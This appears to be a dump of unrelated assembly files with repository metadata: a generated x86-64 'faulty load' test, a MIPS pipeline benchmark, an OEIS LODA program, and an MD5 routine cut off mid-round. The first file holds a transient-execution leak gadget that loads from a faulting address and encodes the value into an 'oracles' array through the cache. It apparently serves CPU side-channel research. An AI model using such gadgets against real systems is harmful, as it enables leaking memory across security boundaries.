$20490, %rdi lea addresses_D_ht+0x11aeb, %rsi lea addresses_normal_ht+0x1b66b, %rdi nop xor $53593, %rdx mov $4, %rcx rep movsb nop nop nop sub $31424, %r10 lea addresses_WT_ht+0xc22b, %rsi lea addresses_WC_ht+0x156b, %rdi nop nop nop and $46152, %rdx mov $54, %rcx rep movsl xor %rsi, %rsi lea addresses_normal_ht+0x1a0a7, %rdx nop nop xor $29240, %r9 mov $0x6162636465666768, %rdi movq %rdi, (%rdx) cmp %r9, %r9 lea addresses_WT_ht+0xa9db, %r10 nop nop nop nop nop cmp %rax, %rax movw $0x6162, (%r10) nop nop nop nop nop sub $10441, %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %r9 push %rax push %rdi push %rsi // Store lea addresses_WT+0x5d6b, %rax add %r8, %r8 movw $0x5152, (%rax) nop nop xor %r13, %r13 // Load lea addresses_normal+0x1f2e3, %r14 nop nop nop add $45954, %rsi mov (%r14), %r9 nop nop nop nop xor $16473, %rdi // Load lea addresses_UC+0x17b83, %rax nop nop and %r9, %r9 mov (%rax), %r14d nop and $42547, %rax // Load mov $0x6d9dab0000000223, %rdi clflush (%rdi) nop nop nop and $39409, %rsi mov (%rdi), %r9w nop nop nop nop sub %r9, %r9 // Store lea addresses_normal+0x1e05b, %r8 nop nop inc %r14 mov $0x5152535455565758, %rsi movq %rsi, (%r8) nop nop nop nop xor $37877, %rsi // Faulty Load lea addresses_PSE+0x10e6b, %r13 nop and %r8, %r8 movups (%r13), %xmm2 vpextrq $0, %xmm2, %rsi lea oracles, %r14 and $0xff, %rsi shlq $12, %rsi mov (%r14,%rsi,1), %rsi pop %rsi pop %rdi pop %rax pop %r9 pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': True, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': True, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': True, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
31.769504
2,999
0.653868
7eae73ec26c47e56db8de21e996e8af6d230cf40
507
asm
Assembly
Benchmarks/Ideal Pipeline Test.asm
RyanWangGit/MIPS_CPU
a0e3ca62854d1eaf7ae0862ab34196de83f1bc80
[ "MIT" ]
60
2019-05-15T16:57:02.000Z
2022-03-25T23:03:08.000Z
Benchmarks/Ideal Pipeline Test.asm
RyanWangGit/MIPS_CPU
a0e3ca62854d1eaf7ae0862ab34196de83f1bc80
[ "MIT" ]
1
2021-04-30T09:01:43.000Z
2021-05-03T03:07:02.000Z
Benchmarks/Ideal Pipeline Test.asm
RyanWangGit/MIPS_CPU
a0e3ca62854d1eaf7ae0862ab34196de83f1bc80
[ "MIT" ]
14
2019-06-11T08:45:36.000Z
2022-03-12T01:19:40.000Z
# Ideal pipleline test. All instructions are free of hazards # 17 Instructions in total, the total cycles of 5-segment pipeline should be 5 + (17 - 1)= 21 addi $s0,$zero, 0 addi $s1,$zero, 0 addi $s2,$zero, 0 addi $s3,$zero, 0 ori $s0,$s0, 0 ori $s1,$s1, 1 ori $s2,$s2, 2 ori $s3,$s3, 3 sw $s0, 0($s0) sw $s1, 4($s0) sw $s2, 8($s0) sw $s3, 12($s0) addi $v0,$zero,10 # system call for exit addi $s1,$zero, 0 # clear hazard addi $s2,$zero, 0 addi $s3,$zero, 0 syscall # done
25.35
93
0.601578
008ca355a49caba8f22ab72b0e50f42f0fa4e8fc
592
asm
Assembly
oeis/086/A086948.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/086/A086948.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/086/A086948.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A086948: a(n) = k where R(k+8) = 2. ; 12,192,1992,19992,199992,1999992,19999992,199999992,1999999992,19999999992,199999999992,1999999999992,19999999999992,199999999999992,1999999999999992,19999999999999992,199999999999999992,1999999999999999992,19999999999999999992,199999999999999999992,1999999999999999999992,19999999999999999999992,199999999999999999999992,1999999999999999999999992,19999999999999999999999992,199999999999999999999999992,1999999999999999999999999992,19999999999999999999999999992,199999999999999999999999999992 add $0,1 mov $1,10 pow $1,$0 div $1,6 mul $1,12 mov $0,$1
59.2
494
0.869932
3c8c58bc9e4c4553a5ac00061acddf117abddba9
34,205
asm
Assembly
src/lib/hash/md5-ms-amd64-v2.asm
gvollant/smartversion
b9d351beaf91d1d48fd4f0283fd5825623548346
[ "MIT" ]
5
2021-12-30T18:27:18.000Z
2022-03-03T08:27:51.000Z
src/lib/hash/md5-ms-amd64-v2.asm
gvollant/smartversion
b9d351beaf91d1d48fd4f0283fd5825623548346
[ "MIT" ]
null
null
null
src/lib/hash/md5-ms-amd64-v2.asm
gvollant/smartversion
b9d351beaf91d1d48fd4f0283fd5825623548346
[ "MIT" ]
null
null
null
; MD5 optimized for AMD64. ; ; Author: Marc Bevand <bevand_m (at) epita.fr> ; Licence: I hereby disclaim the copyright on this code and place it ; in the public domain. ; ; Gilles Vollant <info (at) winimage.com > made the port to Intel/Amd ; mnemonic for Microsoft ML64 and Microsoft C++ for Windows x64 ; ; to compile this file, I use option ; ml64.exe /Flm5n64 /c /Zi m5n64.asm ; with Microsoft Macro Assembler (x64) for AMD64 ; ; ml64.exe is given with Visual Studio 2005, Windows 2003 server DDK ; ; (you can get Windows 2003 server DDK with ml64 and cl for AMD64 from ; http://www.microsoft.com/whdc/devtools/ddk/default.mspx for low price) ; ; http://etud.epita.fr/~bevand_m/papers/md5-amd64.html ; http://www.winimage.com/md5-amd64-ms.htm ; ; Charles Liu made optimisation on ; http://article.gmane.org/gmane.comp.encryption.openssl.devel/9835 ; .code md5_block_asm_host_order PROC push rbp push rbx push r12 push r13 push r14 push r15 push rsi push rdi ; parameter 1 in rcx, param 2 in rdx , param 3 in r8 ; see http://weblogs.asp.net/oldnewthing/archive/2004/01/14/58579.aspx and ; http://msdn.microsoft.com/library/en-us/kmarch/hh/kmarch/64bitAMD_8e951dd2-ee77-4728-8702-55ce4b5dd24a.xml.asp ; ; All registers must be preserved across the call, except for ; rax, rcx, rdx, r8, r-9, r10, and r11, which are scratch. ;# rdi = arg #1 (ctx, MD5_CTX pointer) ;# rsi = arg #2 (ptr, data pointer) ;# rdx = arg #3 (nbr, number of 16-word blocks to process) mov rsi,rdx mov edx,r8d mov r12,rcx ;# rbp = ctx shl rdx,6 ;# rdx = nbr in bytes push r12 lea rdi,[rsi+rdx]; # rdi = end mov eax,DWORD PTR 0[r12] ;# eax = ctx->A mov ebx,DWORD PTR 4[r12] ;# ebx = ctx->B mov ecx,DWORD PTR 8[r12] ;# ecx = ctx->C mov edx,DWORD PTR 12[r12] ;# edx = ctx->D ;push rbp ;# save ctx ;# end is 'rdi' ;# ptr is 'rsi' ;# A is 'eax' ;# B is 'ebx' ;# C is 'ecx' ;# D is 'edx' ; it is better with align 16 here, I don't known why align 16 cmp rsi,rdi ;# cmp end with ptr mov r13d,0ffffffffh je lab1 ;# jmp if ptr == end ;# BEGIN of loop over 16-word blocks lab2: ;# save old values of A, B, C, D mov r8d,eax mov r9d,ebx mov r14d,ecx mov r15d,edx ; BEGIN of the round serie mov r10 , QWORD PTR (0*4)[rsi] ;/* (NEXT STEP) X[0] */ mov r11d , edx ;/* (NEXT STEP) z' = %edx */ xor r11d,ecx ;/* y ^ ... */ lea eax,DWORD PTR 0d76aa478h [ eax * 1 +r10d ] ;/* Const + dst + ... */ and r11d,ebx ;/* x & ... */ xor r11d,edx ;/* z ^ ... */ ;mov r10d,DWORD PTR (1*4)[rsi] ;/* (NEXT STEP) X[1] */ shr r10,32 add eax,r11d ;/* dst += ... */ rol eax, 7 ;/* dst <<< s */ mov r11d , ecx ;/* (NEXT STEP) z' = ecx */ add eax , ebx ;/* dst += x */ xor r11d,ebx ;/* y ^ ... */ lea edx,DWORD PTR 0e8c7b756h [ edx * 1 +r10d ] ;/* Const + dst + ... */ and r11d,eax ;/* x & ... */ xor r11d,ecx ;/* z ^ ... */ mov r10,QWORD PTR (2*4)[rsi] ;/* (NEXT STEP) X[2] */ add edx,r11d ;/* dst += ... */ rol edx, 12 ;/* dst <<< s */ mov r11d , ebx ;/* (NEXT STEP) z' = ebx */ add edx , eax ;/* dst += x */ xor r11d,eax ;/* y ^ ... */ lea ecx,DWORD PTR 0242070dbh [ ecx * 1 +r10d ] ;/* Const + dst + ... */ and r11d,edx ;/* x & ... */ xor r11d,ebx ;/* z ^ ... */ ;mov r10d,DWORD PTR (3*4)[rsi] ;/* (NEXT STEP) X[3] */ shr r10,32 add ecx,r11d ;/* dst += ... */ rol ecx, 17 ;/* dst <<< s */ mov r11d , eax ;/* (NEXT STEP) z' = eax */ add ecx , edx ;/* dst += x */ xor r11d,edx ;/* y ^ ... */ lea ebx,DWORD PTR 0c1bdceeeh [ ebx * 1 +r10d ] ;/* Const + dst + ... */ and r11d,ecx ;/* x & ... */ xor r11d,eax ;/* z ^ ... */ mov r10,QWORD PTR (4*4)[rsi] ;/* (NEXT STEP) X[4] */ add ebx,r11d ;/* dst += ... */ rol ebx, 22 ;/* dst <<< s */ mov r11d , edx ;/* (NEXT STEP) z' = edx */ add ebx , ecx ;/* dst += x */ xor r11d,ecx ;/* y ^ ... */ lea eax,DWORD PTR 0f57c0fafh [ eax * 1 +r10d ] ;/* Const + dst + ... */ and r11d,ebx ;/* x & ... */ xor r11d,edx ;/* z ^ ... */ ;mov r10d,DWORD PTR (5*4)[rsi] ;/* (NEXT STEP) X[5] */ shr r10,32 add eax,r11d ;/* dst += ... */ rol eax, 7 ;/* dst <<< s */ mov r11d , ecx ;/* (NEXT STEP) z' = ecx */ add eax , ebx ;/* dst += x */ xor r11d,ebx ;/* y ^ ... */ lea edx,DWORD PTR 04787c62ah [ edx * 1 +r10d ] ;/* Const + dst + ... */ and r11d,eax ;/* x & ... */ xor r11d,ecx ;/* z ^ ... */ mov r10,QWORD PTR (6*4)[rsi] ;/* (NEXT STEP) X[6] */ add edx,r11d ;/* dst += ... */ rol edx, 12 ;/* dst <<< s */ mov r11d , ebx ;/* (NEXT STEP) z' = ebx */ add edx , eax ;/* dst += x */ xor r11d,eax ;/* y ^ ... */ lea ecx,DWORD PTR 0a8304613h [ ecx * 1 +r10d ] ;/* Const + dst + ... */ and r11d,edx ;/* x & ... */ xor r11d,ebx ;/* z ^ ... */ ;mov r10d,DWORD PTR (7*4)[rsi] ;/* (NEXT STEP) X[7] */ shr r10,32 add ecx,r11d ;/* dst += ... */ rol ecx, 17 ;/* dst <<< s */ mov r11d , eax ;/* (NEXT STEP) z' = eax */ add ecx , edx ;/* dst += x */ xor r11d,edx ;/* y ^ ... */ lea ebx,DWORD PTR 0fd469501h [ ebx * 1 +r10d ] ;/* Const + dst + ... */ and r11d,ecx ;/* x & ... */ xor r11d,eax ;/* z ^ ... */ mov r10,QWORD PTR (8*4)[rsi] ;/* (NEXT STEP) X[8] */ add ebx,r11d ;/* dst += ... */ rol ebx, 22 ;/* dst <<< s */ mov r11d , edx ;/* (NEXT STEP) z' = edx */ add ebx , ecx ;/* dst += x */ xor r11d,ecx ;/* y ^ ... */ lea eax,DWORD PTR 0698098d8h [ eax * 1 +r10d ] ;/* Const + dst + ... */ and r11d,ebx ;/* x & ... */ xor r11d,edx ;/* z ^ ... */ ;mov r10d,DWORD PTR (9*4)[rsi] ;/* (NEXT STEP) X[9] */ shr r10,32 add eax,r11d ;/* dst += ... */ rol eax, 7 ;/* dst <<< s */ mov r11d , ecx ;/* (NEXT STEP) z' = ecx */ add eax , ebx ;/* dst += x */ xor r11d,ebx ;/* y ^ ... */ lea edx,DWORD PTR 08b44f7afh [ edx * 1 +r10d ] ;/* Const + dst + ... */ and r11d,eax ;/* x & ... */ xor r11d,ecx ;/* z ^ ... */ mov r10,QWORD PTR (10*4)[rsi] ;/* (NEXT STEP) X[10] */ add edx,r11d ;/* dst += ... */ rol edx, 12 ;/* dst <<< s */ mov r11d , ebx ;/* (NEXT STEP) z' = ebx */ add edx , eax ;/* dst += x */ xor r11d,eax ;/* y ^ ... */ lea ecx,DWORD PTR 0ffff5bb1h [ ecx * 1 +r10d ] ;/* Const + dst + ... */ and r11d,edx ;/* x & ... */ xor r11d,ebx ;/* z ^ ... */ ;mov r10d,DWORD PTR (11*4)[rsi] ;/* (NEXT STEP) X[11] */ shr r10,32 add ecx,r11d ;/* dst += ... */ rol ecx, 17 ;/* dst <<< s */ mov r11d , eax ;/* (NEXT STEP) z' = eax */ add ecx , edx ;/* dst += x */ xor r11d,edx ;/* y ^ ... */ lea ebx,DWORD PTR 0895cd7beh [ ebx * 1 +r10d ] ;/* Const + dst + ... */ and r11d,ecx ;/* x & ... */ xor r11d,eax ;/* z ^ ... */ mov r10,QWORD PTR (12*4)[rsi] ;/* (NEXT STEP) X[12] */ add ebx,r11d ;/* dst += ... */ rol ebx, 22 ;/* dst <<< s */ mov r11d , edx ;/* (NEXT STEP) z' = edx */ add ebx , ecx ;/* dst += x */ xor r11d,ecx ;/* y ^ ... */ lea eax,DWORD PTR 06b901122h [ eax * 1 +r10d ] ;/* Const + dst + ... */ and r11d,ebx ;/* x & ... */ xor r11d,edx ;/* z ^ ... */ ;mov r10d,DWORD PTR (13*4)[rsi] ;/* (NEXT STEP) X[13] */ shr r10,32 add eax,r11d ;/* dst += ... */ rol eax, 7 ;/* dst <<< s */ mov r11d , ecx ;/* (NEXT STEP) z' = ecx */ add eax , ebx ;/* dst += x */ xor r11d,ebx ;/* y ^ ... */ lea edx,DWORD PTR 0fd987193h [ edx * 1 +r10d ] ;/* Const + dst + ... */ and r11d,eax ;/* x & ... */ xor r11d,ecx ;/* z ^ ... */ mov r10,QWORD PTR (14*4)[rsi] ;/* (NEXT STEP) X[14] */ add edx,r11d ;/* dst += ... */ rol edx, 12 ;/* dst <<< s */ mov r11d , ebx ;/* (NEXT STEP) z' = ebx */ add edx , eax ;/* dst += x */ xor r11d,eax ;/* y ^ ... */ lea ecx,DWORD PTR 0a679438eh [ ecx * 1 +r10d ] ;/* Const + dst + ... */ and r11d,edx ;/* x & ... */ xor r11d,ebx ;/* z ^ ... */ ;mov r10d,DWORD PTR (15*4)[rsi] ;/* (NEXT STEP) X[15] */ shr r10,32 add ecx,r11d ;/* dst += ... */ rol ecx, 17 ;/* dst <<< s */ mov r11d , eax ;/* (NEXT STEP) z' = eax */ add ecx , edx ;/* dst += x */ xor r11d,edx ;/* y ^ ... */ lea ebx,DWORD PTR 049b40821h [ ebx * 1 +r10d ] ;/* Const + dst + ... */ and r11d,ecx ;/* x & ... */ xor r11d,eax ;/* z ^ ... */ mov r10,QWORD PTR (0*4)[rsi] ;/* (NEXT STEP) X[0] */ add ebx,r11d ;/* dst += ... */ rol ebx, 22 ;/* dst <<< s */ mov r11d , edx ;/* (NEXT STEP) z' = edx */ add ebx , ecx ;/* dst += x */ mov r10d , 4 [rsi] ;/* (NEXT STEP) X[1] */ mov r11d, edx ;/* (NEXT STEP) z' = %edx */ mov r12d, edx ;/* (NEXT STEP) z' = %edx */ not r11d lea eax,DWORD PTR 0f61e2562h [ eax * 1 +r10d ] ;/* Const + dst + ... */ and r12d,ebx ;/* x & z */ and r11d,ecx ;/* y & (not z) */ mov r10d , (6*4) [rsi] ;/* (NEXT STEP) X[6] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,ecx ;/* (NEXT STEP) z' = ecx */ add eax, r12d ; /* dst += ... */ mov r12d,ecx ;/* (NEXT STEP) z' = ecx */ rol eax , 5 ;/* dst <<< s */ add eax , ebx ;/* dst += x */ not r11d lea edx,DWORD PTR 0c040b340h [ edx * 1 +r10d ] ;/* Const + dst + ... */ and r12d,eax ;/* x & z */ and r11d,ebx ;/* y & (not z) */ mov r10d , (11*4) [rsi] ;/* (NEXT STEP) X[11] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,ebx ;/* (NEXT STEP) z' = ebx */ add edx, r12d ; /* dst += ... */ mov r12d,ebx ;/* (NEXT STEP) z' = ebx */ rol edx , 9 ;/* dst <<< s */ add edx , eax ;/* dst += x */ not r11d lea ecx,DWORD PTR 0265e5a51h [ ecx * 1 +r10d ] ;/* Const + dst + ... */ and r12d,edx ;/* x & z */ and r11d,eax ;/* y & (not z) */ mov r10d , (0*4) [rsi] ;/* (NEXT STEP) X[0] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,eax ;/* (NEXT STEP) z' = eax */ add ecx, r12d ; /* dst += ... */ mov r12d,eax ;/* (NEXT STEP) z' = eax */ rol ecx , 14 ;/* dst <<< s */ add ecx , edx ;/* dst += x */ not r11d lea ebx,DWORD PTR 0e9b6c7aah [ ebx * 1 +r10d ] ;/* Const + dst + ... */ and r12d,ecx ;/* x & z */ and r11d,edx ;/* y & (not z) */ mov r10d , (5*4) [rsi] ;/* (NEXT STEP) X[5] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,edx ;/* (NEXT STEP) z' = edx */ add ebx, r12d ; /* dst += ... */ mov r12d,edx ;/* (NEXT STEP) z' = edx */ rol ebx , 20 ;/* dst <<< s */ add ebx , ecx ;/* dst += x */ not r11d lea eax,DWORD PTR 0d62f105dh [ eax * 1 +r10d ] ;/* Const + dst + ... */ and r12d,ebx ;/* x & z */ and r11d,ecx ;/* y & (not z) */ mov r10d , (10*4) [rsi] ;/* (NEXT STEP) X[10] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,ecx ;/* (NEXT STEP) z' = ecx */ add eax, r12d ; /* dst += ... */ mov r12d,ecx ;/* (NEXT STEP) z' = ecx */ rol eax , 5 ;/* dst <<< s */ add eax , ebx ;/* dst += x */ not r11d lea edx,DWORD PTR 02441453h [ edx * 1 +r10d ] ;/* Const + dst + ... */ and r12d,eax ;/* x & z */ and r11d,ebx ;/* y & (not z) */ mov r10d , (15*4) [rsi] ;/* (NEXT STEP) X[15] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,ebx ;/* (NEXT STEP) z' = ebx */ add edx, r12d ; /* dst += ... */ mov r12d,ebx ;/* (NEXT STEP) z' = ebx */ rol edx , 9 ;/* dst <<< s */ add edx , eax ;/* dst += x */ not r11d lea ecx,DWORD PTR 0d8a1e681h [ ecx * 1 +r10d ] ;/* Const + dst + ... */ and r12d,edx ;/* x & z */ and r11d,eax ;/* y & (not z) */ mov r10d , (4*4) [rsi] ;/* (NEXT STEP) X[4] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,eax ;/* (NEXT STEP) z' = eax */ add ecx, r12d ; /* dst += ... */ mov r12d,eax ;/* (NEXT STEP) z' = eax */ rol ecx , 14 ;/* dst <<< s */ add ecx , edx ;/* dst += x */ not r11d lea ebx,DWORD PTR 0e7d3fbc8h [ ebx * 1 +r10d ] ;/* Const + dst + ... */ and r12d,ecx ;/* x & z */ and r11d,edx ;/* y & (not z) */ mov r10d , (9*4) [rsi] ;/* (NEXT STEP) X[9] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,edx ;/* (NEXT STEP) z' = edx */ add ebx, r12d ; /* dst += ... */ mov r12d,edx ;/* (NEXT STEP) z' = edx */ rol ebx , 20 ;/* dst <<< s */ add ebx , ecx ;/* dst += x */ not r11d lea eax,DWORD PTR 021e1cde6h [ eax * 1 +r10d ] ;/* Const + dst + ... */ and r12d,ebx ;/* x & z */ and r11d,ecx ;/* y & (not z) */ mov r10d , (14*4) [rsi] ;/* (NEXT STEP) X[14] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,ecx ;/* (NEXT STEP) z' = ecx */ add eax, r12d ; /* dst += ... */ mov r12d,ecx ;/* (NEXT STEP) z' = ecx */ rol eax , 5 ;/* dst <<< s */ add eax , ebx ;/* dst += x */ not r11d lea edx,DWORD PTR 0c33707d6h [ edx * 1 +r10d ] ;/* Const + dst + ... */ and r12d,eax ;/* x & z */ and r11d,ebx ;/* y & (not z) */ mov r10d , (3*4) [rsi] ;/* (NEXT STEP) X[3] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,ebx ;/* (NEXT STEP) z' = ebx */ add edx, r12d ; /* dst += ... */ mov r12d,ebx ;/* (NEXT STEP) z' = ebx */ rol edx , 9 ;/* dst <<< s */ add edx , eax ;/* dst += x */ not r11d lea ecx,DWORD PTR 0f4d50d87h [ ecx * 1 +r10d ] ;/* Const + dst + ... */ and r12d,edx ;/* x & z */ and r11d,eax ;/* y & (not z) */ mov r10d , (8*4) [rsi] ;/* (NEXT STEP) X[8] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,eax ;/* (NEXT STEP) z' = eax */ add ecx, r12d ; /* dst += ... */ mov r12d,eax ;/* (NEXT STEP) z' = eax */ rol ecx , 14 ;/* dst <<< s */ add ecx , edx ;/* dst += x */ not r11d lea ebx,DWORD PTR 0455a14edh [ ebx * 1 +r10d ] ;/* Const + dst + ... */ and r12d,ecx ;/* x & z */ and r11d,edx ;/* y & (not z) */ mov r10d , (13*4) [rsi] ;/* (NEXT STEP) X[13] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,edx ;/* (NEXT STEP) z' = edx */ add ebx, r12d ; /* dst += ... */ mov r12d,edx ;/* (NEXT STEP) z' = edx */ rol ebx , 20 ;/* dst <<< s */ add ebx , ecx ;/* dst += x */ not r11d lea eax,DWORD PTR 0a9e3e905h [ eax * 1 +r10d ] ;/* Const + dst + ... */ and r12d,ebx ;/* x & z */ and r11d,ecx ;/* y & (not z) */ mov r10d , (2*4) [rsi] ;/* (NEXT STEP) X[2] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,ecx ;/* (NEXT STEP) z' = ecx */ add eax, r12d ; /* dst += ... */ mov r12d,ecx ;/* (NEXT STEP) z' = ecx */ rol eax , 5 ;/* dst <<< s */ add eax , ebx ;/* dst += x */ not r11d lea edx,DWORD PTR 0fcefa3f8h [ edx * 1 +r10d ] ;/* Const + dst + ... */ and r12d,eax ;/* x & z */ and r11d,ebx ;/* y & (not z) */ mov r10d , (7*4) [rsi] ;/* (NEXT STEP) X[7] */ or r12d,r11d ;/* (y & (not z)) | (x & z) */ mov r11d,ebx ;/* (NEXT STEP) z' = ebx */ add edx, r12d ; /* dst += 